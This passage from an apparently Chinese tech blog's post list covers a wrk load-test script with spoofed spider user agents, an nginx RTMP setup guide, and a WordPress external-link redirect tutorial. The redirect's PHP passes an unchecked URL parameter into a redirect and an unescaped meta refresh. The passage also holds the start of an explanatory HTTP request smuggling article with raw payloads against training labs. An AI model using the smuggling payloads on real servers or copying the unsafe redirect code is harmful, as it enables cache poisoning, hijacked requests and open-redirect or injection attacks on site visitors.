CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; LBBROWSER)", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E; LBBROWSER)", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; QQBrowser/7.0.3698.400)", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)", "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.84 Safari/535.11 SE 2.X MetaSr 1.0", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SV1; QQDownload 732; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0)", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Maxthon/4.4.3.4000 Chrome/30.0.1599.101 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 UBrowser/4.0.3214.0 Safari/537.36", "Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5", "Mozilla/5.0 (iPod; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5", "Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; zh-cn) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5", "Mozilla/5.0 (iPad; U; CPU OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5", "Mozilla/5.0 (Linux; U; Android 2.2.1; zh-cn; HTC_Wildfire_A3333 Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1", "Mozilla/5.0 (Linux; U; Android 2.3.7; en-us; Nexus One Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1", "MQQBrowser/26 Mozilla/5.0 (Linux; U; Android 2.3.7; zh-cn; MB200 Build/GRJ22; CyanogenMod-7) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1", "Opera/9.80 (Android 2.3.4; Linux; Opera Mobi/build-1107180945; U; en-GB) Presto/2.8.149 Version/11.10", "Mozilla/5.0 (Linux; U; Android 3.0; en-us; Xoom Build/HRI39) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13", "Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en) AppleWebKit/534.1+ (KHTML, like Gecko) Version/6.0.0.337 Mobile Safari/534.1+", "Mozilla/5.0 (hp-tablet; Linux; hpwOS/3.0.0; U; en-US) AppleWebKit/534.6 (KHTML, like Gecko) wOSBrowser/233.70 Safari/534.6 TouchPad/1.0", "Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/20.0.019; Profile/MIDP-2.1 Configuration/CLDC-1.1) AppleWebKit/525 (KHTML, like Gecko) BrowserNG/7.1.18124", "Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0; HTC; Titan)", "UCWEB7.0.2.37/28/999", "NOKIA5700/ UCWEB7.0.2.37/28/999", "Openwave/ UCWEB7.0.2.37/28/999", "Mozilla/4.0 (compatible; MSIE 6.0; ) Opera/UCWEB7.0.2.37/28/999", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1", "Mozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6", "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1090.0 Safari/536.6", "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/19.77.34.5 Safari/537.1", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5", "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3", "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3", "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3", "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3", "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.0 Safari/536.3", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24", "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24", "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)", "Sogou inst spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)", "Sogou News Spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)", "Sogou Pic Spider/3.0(+http://www.sogou.com/docs/help/webmasters.htm#07)", "Sogou Video Spider/3.0(+http://www.sogou.com/docs/help/webmasters.htm#07)", "Mozilla/5.0 (compatible; Bytespider; https://zhanzhang.toutiao.com/) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.0.0 Safari/537.36", "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; https://zhanzhang.toutiao.com/)", "Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Version/7.0 Mobile Safari/537.36 (compatible; Bytespider; https://zhanzhang.toutiao.com/)", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0); 360Spider(compatible; HaosouSpider; http://www.haosou.com/help/help_3_2.html", "Mozilla/5.0 (Linux; U; Android 4.0.2; en-us; Galaxy Nexus Build/ICL53F) AppleWebKit/534.30 (KHTML, like Gecko)Version/4.0 Mobile Safari/534.30; 360Spider", "Mozilla/5.0 (Linux; U; Android 4.0.2; en-us; Galaxy Nexus Build/ICL53F) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30; HaosouSpider", "Mozilla/5.0 (Linux; U; Android 4.3; zh-CN; SCH-N719 Build/JSS15J) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 YisouSpider/1.0.0 Mobile Safari/533.1", "Mozilla/5.0 (Linux;u;Android 4.2.2;zh-cn;) AppleWebKit/534.46 (KHTML,likeGecko) Version/5.1 Mobile Safari/10600.6.3 (compatible; Baiduspider/2.0;+http://www.baidu.com/search/spider.html)", "Mozilla/5.0 (compatible; Baiduspider/2.0;+http://www.baidu.com/search/spider.html)", "Mozilla/5.0 (iPhone; CPU iPhone OS 9_1 likeMac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B143Safari/601.1 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)", "Mozilla/5.0(compatible;Baiduspiderrender/2.0;+http://www.baidu.com/search/spider.html)", "Baiduspider-image+(+http://www.baidu.com/search/spider.htm)" } --随机UA列表结束 request = function() if (radua == 1) then math.randomseed(tostring(os.time()):reverse():sub(1, 7)) wrk.headers["User-Agent"] = ua[math.random(1,74)] else wrk.headers["User-Agent"] = "Powered by WRK" end --随机ua传递结束 if (radque==1)then uid = math.random(1, quemax) path = uri .. uid end --随机查询结束 --返回数据开始 return wrk.format(null,path,wrk.headers,null) end --随机请求结束
2021年01月30日
124 阅读
1 评论
0 点赞
2021-01-09
宝塔nginx搭建rtmp推流服务器
环境Linux centos 7.6 + Nginx1.安装Nginx这一步就不用多说了吧我是宝塔用户,这边进入到/www/server/nginx/src目录里面使用nginx -V查看当前的编译选项。2.安装Nginx的rtmp拓展nginx的rtmp拓展包github地址:https://github.com/arut/nginx-rtmp-module,可以使用git clone下拉或者直接下载我这边直接下载解压放到:/root下。Nginx安装rtmp拓展:3.编译在刚刚-V操作所输出的 ./configure arguents:之后的内容复制然后在后头添加:--add-module=/opt/module/nginx-rtmp-module在前头添加./configure如:(我这里有编译云锁的安全模块,可以删除)./configure --user=www --group=www --prefix=/www/server/nginx --add-module=/www/server/nginx/src/ngx_devel_kit --add-module=/www/server/nginx/src/lua_nginx_module --add-module=/www/server/nginx/src/ngx_cache_purge --add-module=/www/server/nginx/src/nginx-sticky-module --with-openssl=/www/server/nginx/src/openssl --with-pcre=pcre-8.43 --with-http_v2_module --with-stream --with-stream_ssl_module --with-stream_ssl_preread_module --with-http_stub_status_module --with-http_ssl_module --with-http_image_filter_module --with-http_gzip_static_module --with-http_gunzip_module --with-ipv6 --with-http_sub_module --with-http_flv_module --with-http_addition_module --with-http_realip_module --with-http_mp4_module --with-ld-opt=-Wl,-E --with-cc-opt=-Wno-error --with-ld-opt=-ljemalloc --with-http_dav_module --add-module=/www/server/nginx/src/nginx-dav-ext-module --add-module=/root/nginx-plugin-master --add-module=/root/nginx-rtmp-module运行后没有错误的话执行 make -j8 (我这里是8个线程编译,可以根据具体机器的配置选配)make完成后将系统中原有的nginx用重新编译生成的nginx文件替换,替换后重启nginx使新编译nginx生效rm -rf /www/server/nginx/sbin/nginx cp objs/nginx /www/server/nginx/sbin/ service nginx restart4.配置Nginx的rtmp服务站点# 在文件底部添加下面内容: rtmp { server { listen 1935; #监听的端口 chunk_size 4000; application tv_file { live on; #开启实时 hls on; #开启hls hls_path /www/hls; #rtmp推流请求路径,文件存放路径 hls_fragment 5s; #每个TS文件包含5秒的视频内容 } } }另外切记,此段配置文件需要和http配置块同级,即不能将此段内容放在http{}内,否则无法启动且报错重启Nginx:nginx -s reload开放端口(没防火墙忽略此部)iptables -I INPUT -p tcp --dport 1938 -j ACCEPT附属步骤1:使用http-hls流(m3u8)(不需要此功能跳过这步)首先新建一个站点,在配置文件中添加类似这样的代码:add_header 'Access-Control-Allow-Origin' *; add_header 'Access-Control-Allow-Methods' GET; location /live { #error_page 404 =200 /nosign.m3u8; #可以取消注释上面的代码,稍作修改即可配置默认视频流 types { application/vnd.apple.mpegurl m3u8; video/mp2t ts; } alias /www/hls/; }这段配置文件将前一步生成的m3u8和ts文件以http的形式推送。可以再添加CDN进行分发,但注意缓存时间需要匹配,否则会出现视频流异常。附属步骤2:读取http-hls流(m3u8)(不需要此功能跳过这步)完成上面附属一之后,可以使用如下html代码读取播放此m3u8视频源<script src="https://www.silverdragon.cn/wp-content/themes/hestia/assets/js/hls.min.js"></script> <video id="video" class="wrap" controls="" poster="封面图片"></video> <script> var url = "你的hls地址"; if(Hls.isSupported()) { var video = document.getElementById('video'); var hls = new Hls(); hls.loadSource(url); hls.attachMedia(video); hls.on(Hls.Events.MANIFEST_PARSED,function() { video.play(); }); } </script>5、推拉流测试推流。下载OBS Studio,官网下载太慢了,其他下载地址:https://pc.qq.com/detail/4/detail_23604.html安装完成,打开软件,在控件版块点击设置,左边的导航选择流,然后流类型选择自定义流媒体服务器,url输入rtmp://你的IP:1935/tv_file(就是刚刚配置的那个),流名称随便设置一个在场景里头随便添加个视频或者什么七七八八的设置完成点击推流。在服务器就看到m3u8文件的生成,推流成功。(然后挂到后台)这边强烈建议调整为动态码率或者其他什么的,毕竟自己的服务器带宽小,一不小心就跑满了6、拉流。测试拉流下载VLC,官方也是慢的要死,可以普通下载:https://pc.qq.com/detail/9/detail_569.html安装后打开url输入rtmp://你的IP:1935/tv_file/流名称(秘钥)或者使用刚刚配置的hls流,输入http://你的域名或IP/live/流名称.m3u8拉取正常根据本教程可以做出类似本站https://www.silverdragon.cn/?page_id=2339的功能。
2021年01月09日
145 阅读
1 评论
0 点赞
2021-01-03
Python获取NGINX连接数(ngx_stub_status)
最近在写网站的自动化运营平台,其中有一个CC攻击报警的系统,需要获取到网络服务器实时的连接数来判断是否遭受到攻击。因为服务器资源还是比较充裕,所以只需要获取当前的并发连接数即可。但有一个问题,ngx_stub_status插件是以http页面的形式输出的。而且内容还是非json格式。于是就用到urllib模块,对监控地址进行请求import urllib.parse import urllib.request def data_re(): url = "https://youdomain.com/your-url" headers = { # 存储任意的请求头信息 'User-Agent': 'Automated_blog_server_monitoring_platform version1.0.0', 'Referer':url } request = urllib.request.Request(url=url, headers=headers) response = urllib.request.urlopen(request) the_page = response.read().decode("unicode_escape").splitlines() #从http读取目标页面的数据分行存入List变量中 connect = int(str(the_page[0]).split(':')[1].strip()) #处理链接数为int类型的变量 print(connect)可以同理获取到队列等待数等。代码原理:首先请求页面获取页面内容,然后对页面内容进行拆行解析。每一行为一个元素。使用split()对字符串进行二次拆解分割。最终去除多余的空格,解析出ngx_stub_status的Active connections同理可以略微改动代码获取到总处理数,队列等待数等数据。
2021年01月03日
135 阅读
0 评论
0 点赞
2020-12-23
将Wordpress文章的外链转为内链(NGINX版)
我们在wordpress网站很多的文章需要跳转外链的资料、或者跳转外链的下载,所以在维护的时候,文章内编写的外链是不可避免的。一般来说,我们在除了友情链接之外的外部连接之外,大部分的外链都会多多少少的分散网站的权重你或许看见过类似https://www..com/goto.php?https://www.***.com形式的跳转链接,这样是为了站点的SEO能够对各种搜索引擎更友好,术语好像就是叫做外链跳转。更重要的是起到了保护自己域名权重的目的。一、给出NGINX跳转版的配置方法首先打开你站点的NGINX配置文件(仅限使用NGINXweb服务的道友)在location的配置块里面,添加一个新的location块代码如下location ~ ^/goto/* { if ($request_method != GET) { return 403; } rewrite ^ $arg_url? redirect; }这段配置文件就能实现将参数url后的地址读取后302跳转,并且抛弃除GET外的请求二、如果您用得是apache等类型的服务器可以在根目录下新建goto文件夹,在里面新建一个index.php文件(当然其他的的地址也是可以,需要在第三框的步骤中修改成你的地址)添加如下内容:<?php header("location:".$_GET["url"]); ?>美观一点也是可以的: <?php $url = $_GET['url']; ?> <html> <head> <meta charset=utf-8 /> <meta name="robots" content="nofollow"> <meta http-equiv="refresh" content="0.1;url=<?php echo $url; ?>"> <title>正在为您跳转……</title> <style> body{background:#000}.loading{-webkit-animation:fadein 2s;-moz-animation:fadein 2s;-o-animation:fadein 2s;animation:fadein 2s}@-moz-keyframes fadein{from{opacity:0}to{opacity:1}}@-webkit-keyframes fadein{from{opacity:0}to{opacity:1}}@-o-keyframes fadein{from{opacity:0}to{opacity:1}}@keyframes fadein{from{opacity:0}to{opacity:1}}.spinner-wrapper{position:absolute;top:0;left:0;z-index:300;height:100%;min-width:100%;min-height:100%;background:rgba(255,255,255,0.93)}.spinner-text{position:absolute;top:41.5%;left:47%;margin:16px 0 0 35px;color:#BBB;letter-spacing:1px;font-weight:700;font-size:9px;font-family:Arial}.spinner{position:absolute;top:40%;left:45%;display:block;margin:0;width:1px;height:1px;border:25px solid rgba(100,100,100,0.2);-webkit-border-radius:50px;-moz-border-radius:50px;border-radius:50px;border-left-color:transparent;border-right-color:transparent;-webkit-animation:spin 1.5s infinite;-moz-animation:spin 1.5s infinite;animation:spin 1.5s infinite}@-webkit-keyframes spin{0%,100%{-webkit-transform:rotate(0deg) scale(1)}50%{-webkit-transform:rotate(720deg) scale(0.6)}}@-moz-keyframes spin{0%,100%{-moz-transform:rotate(0deg) scale(1)}50%{-moz-transform:rotate(720deg) scale(0.6)}}@-o-keyframes spin{0%,100%{-o-transform:rotate(0deg) scale(1)}50%{-o-transform:rotate(720deg) scale(0.6)}}@keyframes spin{0%,100%{transform:rotate(0deg) scale(1)}50%{transform:rotate(720deg) scale(0.6)}} </style> </head> <body> <div class="loading"> <div class="spinner-wrapper"> <span class="spinner-text">加载中...</span> <span class="spinner"></span> </div </div> </body> </html>三、主题文件配置随后打开你的主题内的functions.php文件。在末尾添加如下php代码:function the_content_nofollow($content){ preg_match_all('/<a(.*?)href="(.*?)"(.*?)>/',$content,$matches); if($matches){ foreach($matches[2] as $val){ if(strpos($val,'://')!==false && strpos($val,home_url())===false && !preg_match('/\.(jpg|jepg|png|ico|bmp|gif|tiff)/i',$val)){ $content=str_replace("href=\"$val\"", "href=\"".home_url()."/goto?url=$val\" ",$content); } } } return $content; } add_filter('the_content','the_content_nofollow',999);这段代码将捕获页面链接标签内的url地址,然后进行替换操作至此,配置完成,不出意外的话,文章内的站外链接会变成这样:
2020年12月23日
74 阅读
0 评论
0 点赞
2020-11-28
协议层的攻击:HTTP请求走私
作者:mengchen@知道创宇404实验室日期:2019年10月10日English version:https://paper.seebug.org/1049/1. 前言最近在学习研究BlackHat的议题,其中有一篇议题——"HTTP Desync Attacks: Smashing into the Cell Next Door"引起了我极大地兴趣,在其中,作者讲述了HTTP走私攻击这一攻击手段,并且分享了他的一些攻击案例。我之前从未听说过这一攻击方式,决定对这一攻击方式进行一个完整的学习梳理,于是就有了这一篇文章。当然了,作为这一攻击方式的初学者,难免会有一些错误,还请诸位斧正。2. 发展时间线最早在2005年,由Chaim Linhart,Amit Klein,Ronen Heled和Steve Orrin共同完成了一篇关于HTTP Request Smuggling这一攻击方式的报告。通过对整个RFC文档的分析以及丰富的实例,证明了这一攻击方式的危害性。https://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf在2016年的DEFCON 24 上,@regilero在他的议题——Hiding Wookiees in HTTP中对前面报告中的攻击方式进行了丰富和扩充。https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20presentations/DEF%20CON%2024%20-%20Regilero-Hiding-Wookiees-In-Http.pdf在2019年的BlackHat USA 2019上,PortSwigger的James Kettle在他的议题——HTTP Desync Attacks: Smashing into the Cell Next Door中针对当前的网络环境,展示了使用分块编码来进行攻击的攻击方式,扩展了攻击面,并且提出了完整的一套检测利用流程。https://www.blackhat.com/us-19/briefings/schedule/#http-desync-attacks-smashing-into-the-cell-next-door-151533. 产生原因HTTP请求走私这一攻击方式很特殊,它不像其他的Web攻击方式那样比较直观,它更多的是在复杂网络环境下,不同的服务器对RFC标准实现的方式不同,程度不同。这样一来,对同一个HTTP请求,不同的服务器可能会产生不同的处理结果,这样就产生了了安全风险。在进行后续的学习研究前,我们先来认识一下如今使用最为广泛的HTTP 1.1的协议特性——Keep-Alive&Pipeline。在HTTP1.0之前的协议设计中,客户端每进行一次HTTP请求,就需要同服务器建立一个TCP链接。而现代的Web网站页面是由多种资源组成的,我们要获取一个网页的内容,不仅要请求HTML文档,还有JS、CSS、图片等各种各样的资源,这样如果按照之前的协议设计,就会导致HTTP服务器的负载开销增大。于是在HTTP1.1中,增加了Keep-Alive和Pipeline这两个特性。所谓Keep-Alive,就是在HTTP请求中增加一个特殊的请求头Connection: Keep-Alive,告诉服务器,接收完这次HTTP请求后,不要关闭TCP链接,后面对相同目标服务器的HTTP请求,重用这一个TCP链接,这样只需要进行一次TCP握手的过程,可以减少服务器的开销,节约资源,还能加快访问速度。当然,这个特性在HTTP1.1中是默认开启的。有了Keep-Alive之后,后续就有了Pipeline,在这里呢,客户端可以像流水线一样发送自己的HTTP请求,而不需要等待服务器的响应,服务器那边接收到请求后,需要遵循先入先出机制,将请求和响应严格对应起来,再将响应发送给客户端。现如今,浏览器默认是不启用Pipeline的,但是一般的服务器都提供了对Pipleline的支持。为了提升用户的浏览速度,提高使用体验,减轻服务器的负担,很多网站都用上了CDN加速服务,最简单的加速服务,就是在源站的前面加上一个具有缓存功能的反向代理服务器,用户在请求某些静态资源时,直接从代理服务器中就可以获取到,不用再从源站所在服务器获取。这就有了一个很典型的拓扑结构。一般来说,反向代理服务器与后端的源站服务器之间,会重用TCP链接。这也很容易理解,用户的分布范围是十分广泛,建立连接的时间也是不确定的,这样TCP链接就很难重用,而代理服务器与后端的源站服务器的IP地址是相对固定,不同用户的请求通过代理服务器与源站服务器建立链接,这两者之间的TCP链接进行重用,也就顺理成章了。当我们向代理服务器发送一个比较模糊的HTTP请求时,由于两者服务器的实现方式不同,可能代理服务器认为这是一个HTTP请求,然后将其转发给了后端的源站服务器,但源站服务器经过解析处理后,只认为其中的一部分为正常请求,剩下的那一部分,就算是走私的请求,当该部分对正常用户的请求造成了影响之后,就实现了HTTP走私攻击。3.1 CL不为0的GET请求其实在这里,影响到的并不仅仅是GET请求,所有不携带请求体的HTTP请求都有可能受此影响,只因为GET比较典型,我们把它作为一个例子。在RFC2616中,没有对GET请求像POST请求那样携带请求体做出规定,在最新的RFC7231的4.3.1节中也仅仅提了一句。https://tools.ietf.org/html/rfc7231#section-4.3.1sending a payload body on a GET request might cause some existing implementations to reject the request假设前端代理服务器允许GET请求携带请求体,而后端服务器不允许GET请求携带请求体,它会直接忽略掉GET请求中的Content-Length头,不进行处理。这就有可能导致请求走私。比如我们构造请求GET / HTTP/1.1\r\n Host: example.com\r\n Content-Length: 44\r\n GET / secret HTTP/1.1\r\n Host: example.com\r\n \r\n 前端服务器收到该请求,通过读取Content-Length,判断这是一个完整的请求,然后转发给后端服务器,而后端服务器收到后,因为它不对Content-Length进行处理,由于Pipeline的存在,它就认为这是收到了两个请求,分别是第一个 GET / HTTP/1.1\r\n Host: example.com\r\n 第二个 GET / secret HTTP/1.1\r\n Host: example.com\r\n 这就导致了请求走私。在本文的4.3.1小节有一个类似于这一攻击方式的实例,推荐结合起来看下。3.2 CL-CL在RFC7230的第3.3.3节中的第四条中,规定当服务器收到的请求中包含两个Content-Length,而且两者的值不同时,需要返回400错误。https://tools.ietf.org/html/rfc7230#section-3.3.3但是总有服务器不会严格的实现该规范,假设中间的代理服务器和后端的源站服务器在收到类似的请求时,都不会返回400错误,但是中间代理服务器按照第一个Content-Length的值对请求进行处理,而后端源站服务器按照第二个Content-Length的值进行处理。此时恶意攻击者可以构造一个特殊的请求POST / HTTP/1.1\r\n Host: example.com\r\n Content-Length: 8\r\n Content-Length: 7\r\n 12345\r\n a 中间代理服务器获取到的数据包的长度为8,将上述整个数据包原封不动的转发给后端的源站服务器,而后端服务器获取到的数据包长度为7。当读取完前7个字符后,后端服务器认为已经读取完毕,然后生成对应的响应,发送出去。而此时的缓冲区去还剩余一个字母a,对于后端服务器来说,这个a是下一个请求的一部分,但是还没有传输完毕。此时恰巧有一个其他的正常用户对服务器进行了请求,假设请求如图所示。GET /index.html HTTP/1.1\r\n Host: example.com\r\n 从前面我们也知道了,代理服务器与源站服务器之间一般会重用TCP连接。这时候正常用户的请求就拼接到了字母a的后面,当后端服务器接收完毕后,它实际处理的请求其实是aGET /index.html HTTP/1.1\r\n Host: example.com\r\n 这时候用户就会收到一个类似于aGET request method not found的报错。这样就实现了一次HTTP走私攻击,而且还对正常用户的行为造成了影响,而且后续可以扩展成类似于CSRF的攻击方式。但是两个Content-Length这种请求包还是太过于理想化了,一般的服务器都不会接受这种存在两个请求头的请求包。但是在RFC2616的第4.4节中,规定:如果收到同时存在Content-Length和Transfer-Encoding这两个请求头的请求包时,在处理的时候必须忽略Content-Length,这其实也就意味着请求包中同时包含这两个请求头并不算违规,服务器也不需要返回400错误。服务器在这里的实现更容易出问题。https://tools.ietf.org/html/rfc2616#section-4.43.3 CL-TE所谓CL-TE,就是当收到存在两个请求头的请求包时,前端代理服务器只处理Content-Length这一请求头,而后端服务器会遵守RFC2616的规定,忽略掉Content-Length,处理Transfer-Encoding这一请求头。chunk传输数据格式如下,其中size的值由16进制表示。[chunk size][\r\n][chunk data][\r\n][chunk size][\r\n][chunk data][\r\n][chunk size = 0][\r\n][\r\n] Lab 地址:https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te构造数据包POST / HTTP/1.1\r\n Host: ace01fcf1fd05faf80c21f8b00ea006b.web-security-academy.net\r\n User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n Accept-Language: en-US,en;q=0.5\r\n Cookie: session=E9m1pnYfbvtMyEnTYSe5eijPDC04EVm3\r\n Connection: keep-alive\r\n Content-Length: 6\r\n Transfer-Encoding: chunked\r\n \r\n 0\r\n \r\n G 连续发送几次请求就可以获得该响应。由于前端服务器处理Content-Length,所以这个请求对于它来说是一个完整的请求,请求体的长度为6,也就是0\r\n \r\n G 当请求包经过代理服务器转发给后端服务器时,后端服务器处理Transfer-Encoding,当它读取到0\r\n\r\n时,认为已经读取到结尾了,但是剩下的字母G就被留在了缓冲区中,等待后续请求的到来。当我们重复发送请求后,发送的请求在后端服务器拼接成了类似下面这种请求。GPOST / HTTP/1.1\r\n Host: ace01fcf1fd05faf80c21f8b00ea006b.web-security-academy.net\r\n ...... 服务器在解析时当然会产生报错了。3.4 TE-CL所谓TE-CL,就是当收到存在两个请求头的请求包时,前端代理服务器处理Transfer-Encoding这一请求头,而后端服务器处理Content-Length请求头。Lab地址:https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl构造数据包POST / HTTP/1.1\r\n Host: acf41f441edb9dc9806dca7b00000035.web-security-academy.net\r\n User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n Accept-Language: en-US,en;q=0.5\r\n Cookie: session=3Eyiu83ZSygjzgAfyGPn8VdGbKw5ifew\r\n Content-Length: 4\r\n Transfer-Encoding: chunked\r\n \r\n 12\r\n GPOST / HTTP/1.1\r\n \r\n 0\r\n \r\n 由于前端服务器处理Transfer-Encoding,当其读取到0\r\n\r\n时,认为是读取完毕了,此时这个请求对代理服务器来说是一个完整的请求,然后转发给后端服务器,后端服务器处理Content-Length请求头,当它读取完12\r\n之后,就认为这个请求已经结束了,后面的数据就认为是另一个请求了,也就是GPOST / HTTP/1.1\r\n \r\n 0\r\n \r\n 成功报错。3.5 TE-TETE-TE,也很容易理解,当收到存在两个请求头的请求包时,前后端服务器都处理Transfer-Encoding请求头,这确实是实现了RFC的标准。不过前后端服务器毕竟不是同一种,这就有了一种方法,我们可以对发送的请求包中的Transfer-Encoding进行某种混淆操作,从而使其中一个服务器不处理Transfer-Encoding请求头。从某种意义上还是CL-TE或者TE-CL。Lab地址:https://portswigger.net/web-security/request-smuggling/lab-ofuscating-te-header构造数据包POST / HTTP/1.1\r\n Host: ac4b1fcb1f596028803b11a2007400e4.web-security-academy.net\r\n User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n Accept-Language: en-US,en;q=0.5\r\n Cookie: session=Mew4QW7BRxkhk0p1Thny2GiXiZwZdMd8\r\n Content-length: 4\r\n Transfer-Encoding: chunked\r\n Transfer-encoding: cow\r\n \r\n 5c\r\n GPOST / HTTP/1.1\r\n Content-Type: application/x-www-form-urlencoded\r\n Content-Length: 15\r\n \r\n x=1\r\n 0\r\n \r\n 4. HTTP走私攻击实例——CVE-2018-80044.1 漏洞概述Apache Traffic Server(ATS)是美国阿帕奇(Apache)软件基金会的一款高效、可扩展的HTTP代理和缓存服务器。Apache ATS 6.0.0版本至6.2.2版本和7.0.0版本至7.1.3版本中存在安全漏洞。攻击者可利用该漏洞实施HTTP请求走私攻击或造成缓存中毒。在美国国家信息安全漏洞库中,我们可以找到关于该漏洞的四个补丁,接下来我们详细看一下。CVE-2018-8004 补丁列表https://github.com/apache/trafficserver/pull/3192https://github.com/apache/trafficserver/pull/3201https://github.com/apache/trafficserver/pull/3231https://github.com/apache/trafficserver/pull/3251注:虽然漏洞通告中描述该漏洞影响范围到7.1.3版本,但从github上补丁归档的版本中看,在7.1.3版本中已经修复了大部分的漏洞。4.2 测试环境4.2.1 简介在这里,我们以ATS 7.1.2为例,搭建一个简单的测试环境。环境组件介绍反向代理服务器 IP: 10.211.55.22:80 Ubuntu 16.04 Apache Traffic Server 7.1.2 后端服务器1-LAMP IP: 10.211.55.2:10085 Apache HTTP Server 2.4.7 PHP 5.5.9 后端服务器2-LNMP IP: 10.211.55.2:10086 Nginx 1.4.6 PHP 5.5.9 环境拓扑图Apache Traffic Server 